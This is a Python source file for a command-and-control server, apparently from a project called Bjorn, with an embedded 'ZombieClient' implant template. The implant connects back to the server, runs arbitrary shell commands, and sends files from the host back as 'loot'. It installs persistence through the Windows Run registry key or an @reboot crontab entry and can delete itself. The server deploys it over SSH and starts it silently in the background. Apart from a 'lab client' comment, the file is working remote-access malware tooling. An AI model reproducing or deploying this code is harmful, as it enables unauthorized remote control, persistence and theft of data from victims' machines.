Files
Bjorn/c2_manager.py

1332 lines
47 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
c2_manager.py — Professional Command & Control Server
"""
# ==== Stdlib ====
import base64
import hashlib
import json
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
import traceback
import uuid
from datetime import datetime, timedelta
from enum import Enum
from pathlib import Path
from string import Template
from typing import Any, Callable, Dict, List, Optional, Set, Tuple
# ==== Third-party ====
import paramiko
from cryptography.fernet import Fernet, InvalidToken
# ==== Project ====
from init_shared import shared_data # requis (non optionnel)
from logger import Logger
# -----------------------------------------------------
# Safe path resolution (no hard crash at import-time)
# -----------------------------------------------------
BASE_DIR = Path(__file__).resolve().parent
def _resolve_data_root() -> Path:
"""
Résout le répertoire racine des données pour le C2, sans crasher
si shared_data n'a pas encore data_dir prêt.
Ordre de priorité :
1) shared_data.data_dir si présent
2) $BJORN_DATA_DIR si défini
3) BASE_DIR (fallback local)
"""
sd_dir = getattr(shared_data, "data_dir", None)
if sd_dir:
try:
return Path(sd_dir)
except Exception:
pass # garde un fallback propre
env_dir = os.getenv("BJORN_DATA_DIR")
if env_dir:
try:
return Path(env_dir)
except Exception:
pass
return BASE_DIR
DATA_ROOT: Path = _resolve_data_root()
# Sous-dossiers C2
DATA_DIR: Path = DATA_ROOT / "c2_data"
LOOT_DIR: Path = DATA_DIR / "loot"
CLIENTS_DIR: Path = DATA_DIR / "clients"
LOGS_DIR: Path = DATA_DIR / "logs"
# Timings
HEARTBEAT_INTERVAL: int = 20 # secondes
OFFLINE_THRESHOLD: int = HEARTBEAT_INTERVAL * 3 # 60s sans heartbeat
# Création arborescence (idempotente) — OK à l'import, coût faible
for directory in (DATA_DIR, LOOT_DIR, CLIENTS_DIR, LOGS_DIR):
directory.mkdir(parents=True, exist_ok=True)
# (Optionnel) Prépare un logger si besoin tout de suite
# logger = Logger("c2_manager").get_logger()
logger = Logger(name="c2_manager.py", level=logging.DEBUG)
# ============= Enums =============
class AgentStatus(Enum):
ONLINE = "online"
IDLE = "idle"
OFFLINE = "offline"
BUSY = "busy"
class Platform(Enum):
WINDOWS = "windows"
LINUX = "linux"
MACOS = "macos"
ANDROID = "android"
UNKNOWN = "unknown"
# ============= Event Bus =============
class EventBus:
"""In-process pub/sub for real-time events"""
def __init__(self):
self._subscribers: Set[Callable] = set()
self.logger = logger
self._lock = threading.RLock()
def subscribe(self, callback: Callable[[dict], None]):
with self._lock:
self._subscribers.add(callback)
def unsubscribe(self, callback: Callable[[dict], None]):
with self._lock:
self._subscribers.discard(callback)
def emit(self, event: dict):
"""Emit event to all subscribers"""
event['timestamp'] = time.time()
with self._lock:
dead_subs = set()
for callback in list(self._subscribers):
try:
callback(event)
except Exception as e:
self.logger.error(f"Event callback error: {e}")
dead_subs.add(callback)
# Remove dead subscribers
self._subscribers -= dead_subs
# ============= Client Templates =============
CLIENT_TEMPLATES = {
'universal': Template(r"""#!/usr/bin/env python3
# Lab client (Zombieland) — use only in controlled environments
import socket, json, os, platform, subprocess, threading, time, base64, struct, sys
from pathlib import Path
try:
from cryptography.fernet import Fernet
except ImportError:
print("Installing required dependencies...")
subprocess.check_call([sys.executable, "-m", "pip", "install", "cryptography"])
from cryptography.fernet import Fernet
try:
import psutil
HAS_PSUTIL = True
except ImportError:
HAS_PSUTIL = False
# Configuration
SERVER_IP = "$server_ip"
SERVER_PORT = $server_port
CLIENT_ID = "$client_id"
KEY = b"$key"
LAB_USER = "$lab_user"
LAB_PASSWORD = "$lab_password"
RETRY_SECONDS = 30
HEARTBEAT_INTERVAL = 20
TELEMETRY_INTERVAL = 30
class ZombieClient:
def __init__(self):
self.cipher = Fernet(KEY)
self.sock = None
self.cwd = os.getcwd()
self.running = True
self.connected = threading.Event()
self.telemetry_enabled = True
self.platform = self._detect_platform()
# Start background threads
threading.Thread(target=self._heartbeat_loop, daemon=True).start()
threading.Thread(target=self._telemetry_loop, daemon=True).start()
def _detect_platform(self):
system = platform.system().lower()
if system == 'windows':
return 'windows'
elif system == 'linux':
if 'android' in platform.platform().lower():
return 'android'
return 'linux'
elif system == 'darwin':
return 'macos'
return 'unknown'
def connect(self):
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.sock.connect((SERVER_IP, SERVER_PORT))
self.sock.settimeout(None)
# Send identification
self.sock.sendall(CLIENT_ID.encode())
self.connected.set()
return True
except Exception as e:
self.connected.clear()
if self.sock:
try:
self.sock.close()
except:
pass
self.sock = None
return False
def disconnect(self):
self.connected.clear()
if self.sock:
try:
self.sock.shutdown(socket.SHUT_RDWR)
except:
pass
try:
self.sock.close()
except:
pass
self.sock = None
def _send(self, data: dict):
if not self.sock:
raise RuntimeError("Not connected")
try:
encrypted = self.cipher.encrypt(json.dumps(data).encode())
length = struct.pack(">I", len(encrypted))
self.sock.sendall(length + encrypted)
except Exception as e:
self.disconnect()
raise
def _receive(self):
if not self.sock:
return None
try:
# Read message length
header = self.sock.recv(4)
if not header:
return None
length = struct.unpack(">I", header)[0]
# Read message data
data = b""
while len(data) < length:
chunk = self.sock.recv(min(4096, length - len(data)))
if not chunk:
return None
data += chunk
# Decrypt and parse
decrypted = self.cipher.decrypt(data)
return decrypted.decode()
except Exception as e:
return None
def _heartbeat_loop(self):
while self.running:
if self.connected.wait(timeout=2):
try:
self._send({"ping": time.time()})
except:
pass
time.sleep(HEARTBEAT_INTERVAL)
def _telemetry_loop(self):
while self.running:
if not self.telemetry_enabled:
time.sleep(1)
continue
if self.connected.wait(timeout=2):
try:
telemetry = self.get_system_info()
self._send({"telemetry": telemetry})
except:
pass
time.sleep(TELEMETRY_INTERVAL)
def get_system_info(self):
info = {
"hostname": platform.node(),
"platform": self.platform,
"os": platform.platform(),
"os_version": platform.version(),
"architecture": platform.machine(),
"release": platform.release(),
"python_version": platform.python_version(),
}
if HAS_PSUTIL:
try:
info.update({
"cpu_percent": psutil.cpu_percent(interval=1),
"mem_percent": psutil.virtual_memory().percent,
"disk_percent": psutil.disk_usage('/').percent,
"uptime": int(time.time() - psutil.boot_time()),
"cpu_count": psutil.cpu_count(),
"total_memory": psutil.virtual_memory().total,
})
except:
pass
return info
def execute_command(self, command: str) -> dict:
try:
parts = command.split(maxsplit=1)
cmd = parts[0].lower()
args = parts[1] if len(parts) > 1 else ""
# Built-in commands
if cmd == "sysinfo":
return {"result": self.get_system_info()}
elif cmd == "pwd":
return {"result": self.cwd}
elif cmd == "cd":
if args:
new_path = os.path.join(self.cwd, args)
if os.path.exists(new_path) and os.path.isdir(new_path):
os.chdir(new_path)
self.cwd = os.getcwd()
return {"result": f"Changed directory to {self.cwd}"}
else:
return {"error": "Directory not found"}
return {"error": "No directory specified"}
elif cmd == "ls":
path = args if args else "."
full_path = os.path.join(self.cwd, path)
if os.path.exists(full_path):
items = []
for item in os.listdir(full_path):
item_path = os.path.join(full_path, item)
try:
stat = os.stat(item_path)
if os.path.isdir(item_path):
items.append(f"drwxr-xr-x {item}/")
else:
size = stat.st_size
items.append(f"-rw-r--r-- {item} ({size} bytes)")
except:
items.append(f"?????????? {item}")
return {"result": "\n".join(items)}
return {"error": "Path not found"}
elif cmd == "cat":
if args:
file_path = os.path.join(self.cwd, args)
if os.path.exists(file_path) and os.path.isfile(file_path):
try:
with open(file_path, 'r') as f:
content = f.read(10000) # Limit to 10KB
return {"result": content}
except Exception as e:
return {"error": str(e)}
return {"error": "File not found"}
return {"error": "No file specified"}
elif cmd == "download":
if args:
file_path = os.path.join(self.cwd, args)
if os.path.exists(file_path) and os.path.isfile(file_path):
try:
with open(file_path, 'rb') as f:
data = f.read()
return {
"download": {
"filename": os.path.basename(file_path),
"data": base64.b64encode(data).decode()
}
}
except Exception as e:
return {"error": str(e)}
return {"error": "File not found"}
return {"error": "No file specified"}
elif cmd == "upload":
if args:
parts = args.split(maxsplit=1)
if len(parts) == 2:
filename, b64data = parts
file_path = os.path.join(self.cwd, filename)
try:
data = base64.b64decode(b64data)
with open(file_path, 'wb') as f:
f.write(data)
return {"result": f"File uploaded: {file_path}"}
except Exception as e:
return {"error": str(e)}
return {"error": "Invalid upload format"}
return {"error": "No file specified"}
elif cmd == "telemetry_start":
self.telemetry_enabled = True
return {"result": "Telemetry enabled"}
elif cmd == "telemetry_stop":
self.telemetry_enabled = False
return {"result": "Telemetry disabled"}
elif cmd == "lab_creds":
return {"result": f"Username: {LAB_USER}\nPassword: {LAB_PASSWORD}"}
elif cmd == "persistence":
return self.install_persistence()
elif cmd == "remove_persistence":
return self.remove_persistence()
elif cmd == "self_destruct":
self.self_destruct()
return {"result": "Self destruct initiated"}
# Execute as shell command
else:
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=30,
cwd=self.cwd
)
output = result.stdout if result.stdout else result.stderr
return {"result": output}
except subprocess.TimeoutExpired:
return {"error": "Command timeout"}
except Exception as e:
return {"error": str(e)}
except Exception as e:
return {"error": str(e)}
def install_persistence(self):
try:
script_path = os.path.abspath(sys.argv[0])
if self.platform == 'windows':
# Windows Task Scheduler
import winreg
key_path = r"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_WRITE)
winreg.SetValueEx(key, "ZombieClient", 0, winreg.REG_SZ, f'"{sys.executable}" "{script_path}"')
winreg.CloseKey(key)
return {"result": "Persistence installed (Windows Registry)"}
elif self.platform in ['linux', 'macos']:
# Crontab for Unix-like systems
import subprocess
cron_line = f'@reboot sleep 30 && {sys.executable} {script_path} > /dev/null 2>&1'
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
return {"result": "Persistence installed (crontab)"}
else:
return {"error": "Persistence not supported on this platform"}
except Exception as e:
return {"error": str(e)}
def remove_persistence(self):
try:
script_path = os.path.abspath(sys.argv[0])
if self.platform == 'windows':
import winreg
key_path = r"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_WRITE)
try:
winreg.DeleteValue(key, "ZombieClient")
except:
pass
winreg.CloseKey(key)
return {"result": "Persistence removed"}
elif self.platform in ['linux', 'macos']:
import subprocess
subprocess.run(f"crontab -l 2>/dev/null | grep -v '{script_path}' | crontab -", shell=True)
return {"result": "Persistence removed"}
else:
return {"error": "Persistence not supported on this platform"}
except Exception as e:
return {"error": str(e)}
def self_destruct(self):
try:
script_path = os.path.abspath(sys.argv[0])
self.remove_persistence()
# Schedule deletion and exit
if self.platform == 'windows':
subprocess.Popen(f'ping 127.0.0.1 -n 2 > nul & del /f /q "{script_path}"', shell=True)
else:
subprocess.Popen(f'sleep 2 && rm -f "{script_path}"', shell=True)
self.running = False
self.disconnect()
sys.exit(0)
except:
sys.exit(0)
def run(self):
while self.running:
# Connect to C2
if not self.connected.is_set():
if not self.connect():
time.sleep(RETRY_SECONDS)
continue
# Receive and execute commands
command = self._receive()
if not command:
self.disconnect()
time.sleep(RETRY_SECONDS)
continue
# Execute command and send response
response = self.execute_command(command)
try:
self._send(response)
except:
self.disconnect()
time.sleep(RETRY_SECONDS)
if __name__ == "__main__":
client = ZombieClient()
try:
client.run()
except KeyboardInterrupt:
client.running = False
client.disconnect()
except Exception as e:
print(f"Fatal error: {e}")
sys.exit(1)
""")}
# ============= C2 Manager =============
class C2Manager:
"""Professional C2 Server Manager"""
def __init__(self, bind_ip: str = None, bind_port: int = 5555):
self.bind_ip = bind_ip or self._get_local_ip()
self.bind_port = bind_port
self.shared_data = shared_data
self.db = shared_data.db
self.logger = logger
self.bus = EventBus()
# Server state
self._running = False
self._server_socket: Optional[socket.socket] = None
self._server_thread: Optional[threading.Thread] = None
# Client management
self._clients: Dict[str, dict] = {} # id -> {sock, cipher, info}
self._lock = threading.RLock()
# Statistics
self._stats = {
'total_connections': 0,
'total_commands': 0,
'total_loot': 0,
'start_time': None
}
@staticmethod
def _get_local_ip() -> str:
"""Get local IP address"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except:
return "127.0.0.1"
# ========== Public API ==========
def start(self, port: int = None) -> dict:
"""Start C2 server"""
if self._running:
return {"status": "already_running", "port": self.bind_port}
if port:
self.bind_port = port
try:
# Create server socket
self._server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._server_socket.bind((self.bind_ip, self.bind_port))
self._server_socket.listen(128)
# Start accept thread
self._running = True
self._stats['start_time'] = time.time()
self._server_thread = threading.Thread(target=self._accept_loop, daemon=True)
self._server_thread.start()
# Emit event
self.bus.emit({
"type": "status",
"running": True,
"port": self.bind_port
})
self.logger.info(f"C2 server started on {self.bind_ip}:{self.bind_port}")
return {"status": "ok", "port": self.bind_port, "ip": self.bind_ip}
except Exception as e:
self.logger.error(f"Failed to start C2 server: {e}")
self._running = False
return {"status": "error", "message": str(e)}
def stop(self) -> dict:
"""Stop C2 server"""
if not self._running:
return {"status": "not_running"}
try:
self._running = False
# Close server socket
if self._server_socket:
self._server_socket.close()
self._server_socket = None
# Disconnect all clients
with self._lock:
for client_id in list(self._clients.keys()):
self._disconnect_client(client_id)
# Emit event
self.bus.emit({
"type": "status",
"running": False,
"port": None
})
self.logger.info("C2 server stopped")
return {"status": "ok"}
except Exception as e:
self.logger.error(f"Error stopping C2 server: {e}")
return {"status": "error", "message": str(e)}
def status(self) -> dict:
"""Get C2 server status"""
uptime = None
if self._running and self._stats['start_time']:
uptime = int(time.time() - self._stats['start_time'])
with self._lock:
online = sum(1 for c in self._clients.values() if c['info'].get('status') == AgentStatus.ONLINE.value)
return {
"running": self._running,
"port": self.bind_port if self._running else None,
"ip": self.bind_ip,
"agents": len(self._clients),
"online": online,
"uptime": uptime,
"stats": self._stats
}
# def list_agents(self) -> List[dict]:
# """List all agents (DB + connected), mark offline if no heartbeat."""
# with self._lock:
# rows = self.db.query("SELECT * FROM agents;") # list[dict]
# now = datetime.utcnow()
# # Base map by agent id (avoid dupes)
# by_id: Dict[str, dict] = {}
# for row in rows:
# agent_id = row["id"]
# # Normalize last_seen -> epoch ms
# last_seen_raw = row.get("last_seen")
# last_seen_epoch = None
# if last_seen_raw:
# try:
# if isinstance(last_seen_raw, str):
# last_seen_dt = datetime.fromisoformat(last_seen_raw)
# last_seen_epoch = int(last_seen_dt.timestamp() * 1000)
# elif isinstance(last_seen_raw, datetime):
# last_seen_epoch = int(last_seen_raw.timestamp() * 1000)
# except Exception:
# last_seen_epoch = None
# by_id[agent_id] = {
# "id": agent_id,
# "hostname": row.get("hostname", "Unknown"),
# "platform": row.get("platform", "unknown"),
# "os": row.get("os_version", "Unknown"),
# "status": row.get("status", "offline"),
# "ip": row.get("ip_address", "N/A"),
# "first_seen": row.get("first_seen"),
# "last_seen": last_seen_epoch,
# "notes": row.get("notes"),
# "cpu": 0,
# "mem": 0,
# "disk": 0,
# "tags": [],
# }
# # Overlay live clients (force online + fresh last_seen)
# for agent_id, client in self._clients.items():
# info = client["info"]
# base = by_id.get(agent_id, {
# "id": agent_id,
# "hostname": "Unknown",
# "platform": "unknown",
# "os": "Unknown",
# "status": "offline",
# "ip": "N/A",
# "first_seen": None,
# "last_seen": None,
# "notes": None,
# "cpu": 0, "mem": 0, "disk": 0,
# "tags": [],
# })
# base.update({
# "hostname": info.get("hostname", base["hostname"]),
# "platform": info.get("platform", base["platform"]),
# "os": info.get("os", base["os"]),
# "status": info.get("status", "online"),
# "cpu": info.get("cpu_percent", 0),
# "mem": info.get("mem_percent", 0),
# "disk": info.get("disk_percent", 0),
# "ip": info.get("ip_address", base["ip"]),
# "uptime": info.get("uptime", 0),
# "last_seen": int(datetime.utcnow().timestamp() * 1000), # ms
# })
# by_id[agent_id] = base
# # Apply offline if too old
# for a in by_id.values():
# if a.get("last_seen"):
# delta_ms = int(now.timestamp() * 1000) - a["last_seen"]
# if delta_ms > OFFLINE_THRESHOLD * 1000:
# a["status"] = "offline"
# return list(by_id.values())
def list_agents(self) -> List[dict]:
"""List all agents (DB + connected), mark offline if no heartbeat."""
with self._lock:
agents = []
rows = self.db.query("SELECT * FROM agents;") # retourne list[dict]
now = datetime.utcnow()
for row in rows:
agent_id = row["id"]
# Conversion last_seen → timestamp ms
last_seen_raw = row.get("last_seen")
last_seen_epoch = None
if last_seen_raw:
try:
if isinstance(last_seen_raw, str):
last_seen_dt = datetime.fromisoformat(last_seen_raw)
last_seen_epoch = int(last_seen_dt.timestamp() * 1000)
elif isinstance(last_seen_raw, datetime):
last_seen_epoch = int(last_seen_raw.timestamp() * 1000)
except Exception:
last_seen_epoch = None
agent_info = {
"id": agent_id,
"hostname": row.get("hostname", "Unknown"),
"platform": row.get("platform", "unknown"),
"os": row.get("os_version", "Unknown"),
"status": row.get("status", "offline"),
"ip": row.get("ip_address", "N/A"),
"first_seen": row.get("first_seen"),
"last_seen": last_seen_epoch,
"notes": row.get("notes"),
"cpu": 0,
"mem": 0,
"disk": 0,
"tags": []
}
# --- 2) Écraser si agent en mémoire (connecté) ---
if agent_id in self._clients:
info = self._clients[agent_id]["info"]
agent_info.update({
"hostname": info.get("hostname", agent_info["hostname"]),
"platform": info.get("platform", agent_info["platform"]),
"os": info.get("os", agent_info["os"]),
"status": info.get("status", "online"),
"cpu": info.get("cpu_percent", 0),
"mem": info.get("mem_percent", 0),
"disk": info.get("disk_percent", 0),
"ip": info.get("ip_address", agent_info["ip"]),
"uptime": info.get("uptime", 0),
"last_seen": int(datetime.utcnow().timestamp() * 1000), # en ms
})
# --- 3) Vérifier si trop vieux → offline ---
if agent_info["last_seen"]:
delta = (now.timestamp() * 1000) - agent_info["last_seen"]
if delta > OFFLINE_THRESHOLD * 1000:
agent_info["status"] = "offline"
agents.append(agent_info)
# Déduplication par hostname (ou id fallback) : on garde le plus récent et on
# privilégie un statut online par rapport à offline.
dedup = {}
for a in agents:
key = (a.get('hostname') or a['id']).strip().lower()
prev = dedup.get(key)
if not prev:
dedup[key] = a
continue
def rank(status): # online < idle < offline
return {'online': 0, 'idle': 1, 'offline': 2}.get(status, 3)
better = False
if rank(a['status']) < rank(prev['status']):
better = True
else:
la = a.get('last_seen') or 0
lp = prev.get('last_seen') or 0
if la > lp:
better = True
if better:
dedup[key] = a
return list(dedup.values())
return agents
def send_command(self, targets: List[str], command: str) -> dict:
"""Send command to specific agents"""
if not targets or not command:
return {"status": "error", "message": "Invalid parameters"}
sent = 0
failed = []
with self._lock:
for target_id in targets:
if target_id not in self._clients:
failed.append(target_id)
continue
try:
self._send_to_client(target_id, command)
sent += 1
# Save to database
self.db.save_command(target_id, command)
# Emit event
self.bus.emit({
"type": "console",
"target": target_id,
"text": command,
"kind": "TX"
})
except Exception as e:
self.logger.error(f"Failed to send command to {target_id}: {e}")
failed.append(target_id)
self._stats['total_commands'] += sent
return {
"status": "ok",
"sent": sent,
"failed": failed,
"total": len(targets)
}
def broadcast(self, command: str) -> dict:
"""Broadcast command to all online agents"""
with self._lock:
online_agents = [
cid for cid, c in self._clients.items()
if c['info'].get('status') == AgentStatus.ONLINE.value
]
if not online_agents:
return {"status": "error", "message": "No online agents"}
return self.send_command(online_agents, command)
def generate_client(self, client_id: str, platform: str = "universal",
lab_user: str = "testuser", lab_password: str = "testpass") -> dict:
"""Generate new client script"""
try:
# Generate Fernet key (base64) and l'enregistrer en DB (rotation si besoin)
key_b64 = Fernet.generate_key().decode()
if self.db.get_active_key(client_id):
self.db.rotate_key(client_id, key_b64)
else:
self.db.save_new_key(client_id, key_b64)
# Get template
template = CLIENT_TEMPLATES.get(platform, CLIENT_TEMPLATES['universal'])
# Generate script
script = template.substitute(
server_ip=self.bind_ip,
server_port=self.bind_port,
client_id=client_id,
key=key_b64,
lab_user=lab_user,
lab_password=lab_password
)
# Save to file
filename = f"client_{client_id}_{platform}.py"
filepath = CLIENTS_DIR / filename
with open(filepath, 'w') as f:
f.write(script)
self.logger.info(f"Generated client: {client_id} ({platform})")
return {
"status": "ok",
"client_id": client_id,
"platform": platform,
"filename": filename,
"filepath": str(filepath),
"download_url": f"/c2/download_client/{filename}"
}
except Exception as e:
self.logger.error(f"Failed to generate client: {e}")
return {"status": "error", "message": str(e)}
def deploy_client(self, client_id: str, ssh_host: str, ssh_user: str,
ssh_pass: str, **kwargs) -> dict:
"""Deploy client via SSH"""
try:
# S'assurer qu'une clé active existe (sinon générer le client)
if not self.db.get_active_key(client_id):
result = self.generate_client(
client_id,
kwargs.get('platform', 'universal'),
kwargs.get('lab_user', 'testuser'),
kwargs.get('lab_password', 'testpass')
)
if result['status'] != 'ok':
return result
# Find client file
client_files = list(CLIENTS_DIR.glob(f"client_{client_id}_*.py"))
if not client_files:
return {"status": "error", "message": "Client file not found"}
local_file = client_files[0]
# SSH deployment
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ssh_host, username=ssh_user, password=ssh_pass)
# Create remote directory in the user's home
remote_dir = f"/home/{ssh_user}/zombie_{client_id}"
ssh.exec_command(f"mkdir -p {remote_dir}")
# Upload file
sftp = ssh.open_sftp()
remote_file = f"{remote_dir}/client.py"
sftp.put(str(local_file), remote_file)
sftp.chmod(remote_file, 0o755)
sftp.close()
# Start client in background
ssh.exec_command(f"cd {remote_dir} && nohup python3 client.py > /dev/null 2>&1 &")
ssh.close()
self.logger.info(f"Deployed client {client_id} to {ssh_host}")
return {
"status": "ok",
"client_id": client_id,
"deployed_to": ssh_host,
"remote_path": remote_file
}
except Exception as e:
self.logger.error(f"Failed to deploy client: {e}")
return {"status": "error", "message": str(e)}
def remove_client(self, client_id: str) -> dict:
"""Remove client and clean up"""
try:
with self._lock:
# Disconnect if connected
if client_id in self._clients:
self._disconnect_client(client_id)
# Révoquer les clés actives en DB
try:
self.db.revoke_keys(client_id)
except Exception as e:
self.logger.warning(f"Failed to revoke keys for {client_id}: {e}")
# Remove client files
for f in CLIENTS_DIR.glob(f"client_{client_id}_*.py"):
try:
f.unlink()
except Exception:
pass
# Remove loot
loot_dir = LOOT_DIR / client_id
if loot_dir.exists():
import shutil
shutil.rmtree(loot_dir)
self.logger.info(f"Removed client: {client_id}")
return {"status": "ok"}
except Exception as e:
self.logger.error(f"Failed to remove client: {e}")
return {"status": "error", "message": str(e)}
# ========== Internal Methods ==========
def _accept_loop(self):
"""Accept incoming connections"""
while self._running:
try:
if self._server_socket:
sock, addr = self._server_socket.accept()
self._stats['total_connections'] += 1
# Handle in new thread
threading.Thread(
target=self._handle_client,
args=(sock, addr),
daemon=True
).start()
except OSError:
break # Server socket closed
except Exception as e:
if self._running:
self.logger.error(f"Accept error: {e}")
time.sleep(1)
def _handle_client(self, sock: socket.socket, addr: tuple):
"""Handle client connection"""
client_id = None
try:
# Receive client ID
sock.settimeout(10)
client_id_bytes = sock.recv(1024)
sock.settimeout(None)
if not client_id_bytes:
sock.close()
return
client_id = client_id_bytes.decode().strip()
# Récupérer la clé active depuis la DB
active_key = self.db.get_active_key(client_id)
if not active_key:
self.logger.warning(f"Unknown client or no active key: {client_id} from {addr[0]}")
sock.close()
return
# Create cipher
cipher = Fernet(active_key.encode())
# Register client
with self._lock:
self._clients[client_id] = {
'sock': sock,
'cipher': cipher,
'info': {
'id': client_id,
'ip_address': addr[0],
'status': AgentStatus.ONLINE.value,
'connected_at': time.time(),
'last_seen': datetime.utcnow().isoformat()
}
}
#[2025-09-26 20:26:43,445] [ERROR] [C2Manager] Client loop error for Zombie11: save_command: 'agent_id' and 'command' are required
# Save to database (upsert minimal)
self.db.save_agent({
'id': client_id,
'ip_address': addr[0],
'status': AgentStatus.ONLINE.value,
'last_seen': datetime.utcnow().isoformat()
})
# Emit connection event
self.bus.emit({
"type": "log",
"level": "info",
"text": f"Client {client_id} connected from {addr[0]}"
})
self.logger.info(f"Client {client_id} connected from {addr[0]}")
# Handle client messages
self._client_loop(client_id, sock, cipher)
except Exception as e:
self.logger.error(f"Client handler error: {e}")
traceback.print_exc()
finally:
if client_id:
self._disconnect_client(client_id)
def _is_client_alive(self, client_id: str) -> bool:
with self._lock:
c = self._clients.get(client_id)
return bool(c and not c['info'].get('closing'))
def _client_loop(self, client_id: str, sock: socket.socket, cipher: Fernet):
"""Handle client communication"""
while self._running and self._is_client_alive(client_id):
try:
data = self._receive_from_client(sock, cipher)
if not data:
break
self._process_client_message(client_id, data)
except OSError as e:
# socket fermé (remove_client) → on sort sans bruit
break
except Exception as e:
self.logger.error(f"Client loop error for {client_id}: {e}")
break
def _receive_from_client(self, sock: socket.socket, cipher: Fernet) -> Optional[dict]:
try:
header = sock.recv(4)
if not header or len(header) != 4:
return None
length = struct.unpack(">I", header)[0]
data = b""
while len(data) < length:
chunk = sock.recv(min(4096, length - len(data)))
if not chunk:
return None
data += chunk
decrypted = cipher.decrypt(data)
return json.loads(decrypted.decode())
except (OSError, ConnectionResetError, BrokenPipeError):
# socket fermé/abandonné → None = déconnexion propre
return None
except Exception as e:
self.logger.error(f"Receive error: {e}")
return None
def _send_to_client(self, client_id: str, command: str):
with self._lock:
client = self._clients.get(client_id)
if not client or client['info'].get('closing'):
raise ValueError(f"Client {client_id} not connected")
sock = client['sock']
cipher = client['cipher']
client['info']['last_command'] = command
encrypted = cipher.encrypt(command.encode())
header = struct.pack(">I", len(encrypted))
sock.sendall(header + encrypted)
def _process_client_message(self, client_id: str, data: dict):
with self._lock:
if client_id not in self._clients:
return
client_info = self._clients[client_id]['info']
client_info['last_seen'] = datetime.utcnow().isoformat()
self.db.save_agent({'id': client_id, 'last_seen': client_info['last_seen'], 'status': AgentStatus.ONLINE.value})
last_cmd = None
with self._lock:
if client_id in self._clients:
last_cmd = self._clients[client_id]['info'].get('last_command')
if 'ping' in data:
return
elif 'telemetry' in data:
telemetry = data['telemetry']
with self._lock:
client_info.update({
'hostname': telemetry.get('hostname'),
'platform': telemetry.get('platform'),
'os': telemetry.get('os'),
'os_version': telemetry.get('os_version'),
'architecture': telemetry.get('architecture'),
'cpu_percent': telemetry.get('cpu_percent', 0),
'mem_percent': telemetry.get('mem_percent', 0),
'disk_percent': telemetry.get('disk_percent', 0),
'uptime': telemetry.get('uptime', 0)
})
self.db.save_telemetry(client_id, telemetry)
self.bus.emit({"type": "telemetry", "id": client_id, **telemetry})
elif 'download' in data:
self._handle_loot(client_id, data['download'])
elif 'result' in data:
result = data['result']
# >>> ici on enregistre avec la vraie commande
self.db.save_command(client_id, last_cmd or '<unknown>', result, True)
self.bus.emit({"type": "console", "target": client_id, "text": str(result), "kind": "RX"})
elif 'error' in data:
error = data['error']
# >>> idem pour error
self.db.save_command(client_id, last_cmd or '<unknown>', error, False)
self.bus.emit({"type": "console", "target": client_id, "text": f"ERROR: {error}", "kind": "RX"})
def _handle_loot(self, client_id: str, download: dict):
"""Save downloaded file"""
try:
filename = download['filename']
data = base64.b64decode(download['data'])
# Create client loot directory
client_dir = LOOT_DIR / client_id
client_dir.mkdir(exist_ok=True)
# Save file with timestamp
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filepath = client_dir / f"{timestamp}_{filename}"
with open(filepath, 'wb') as f:
f.write(data)
# Calculate hash
file_hash = hashlib.sha256(data).hexdigest()
# Save to database
self.db.save_loot({
'agent_id': client_id,
'filename': filename,
'filepath': str(filepath),
'size': len(data),
'hash': file_hash
})
self._stats['total_loot'] += 1
# Emit event
self.bus.emit({
"type": "log",
"level": "info",
"text": f"Loot saved from {client_id}: {filename} ({len(data)} bytes)"
})
self.logger.info(f"Loot saved: {filepath}")
except Exception as e:
self.logger.error(f"Failed to save loot: {e}")
def _disconnect_client(self, client_id: str):
"""Disconnect and clean up client"""
try:
with self._lock:
client = self._clients.get(client_id)
if client:
# signale aux boucles de s'arrêter proprement
client['info']['closing'] = True
# fermer proprement le socket
try:
client['sock'].shutdown(socket.SHUT_RDWR)
except Exception:
pass
try:
client['sock'].close()
except Exception:
pass
# retirer de la map
del self._clients[client_id]
# maj DB
self.db.save_agent({
'id': client_id,
'status': AgentStatus.OFFLINE.value,
'last_seen': datetime.utcnow().isoformat()
})
# event log
self.bus.emit({
"type": "log",
"level": "warning",
"text": f"Client {client_id} disconnected"
})
self.logger.info(f"Client {client_id} disconnected")
except Exception as e:
self.logger.error(f"Error disconnecting client: {e}")
# ========== Global Instance ==========
c2_manager = C2Manager()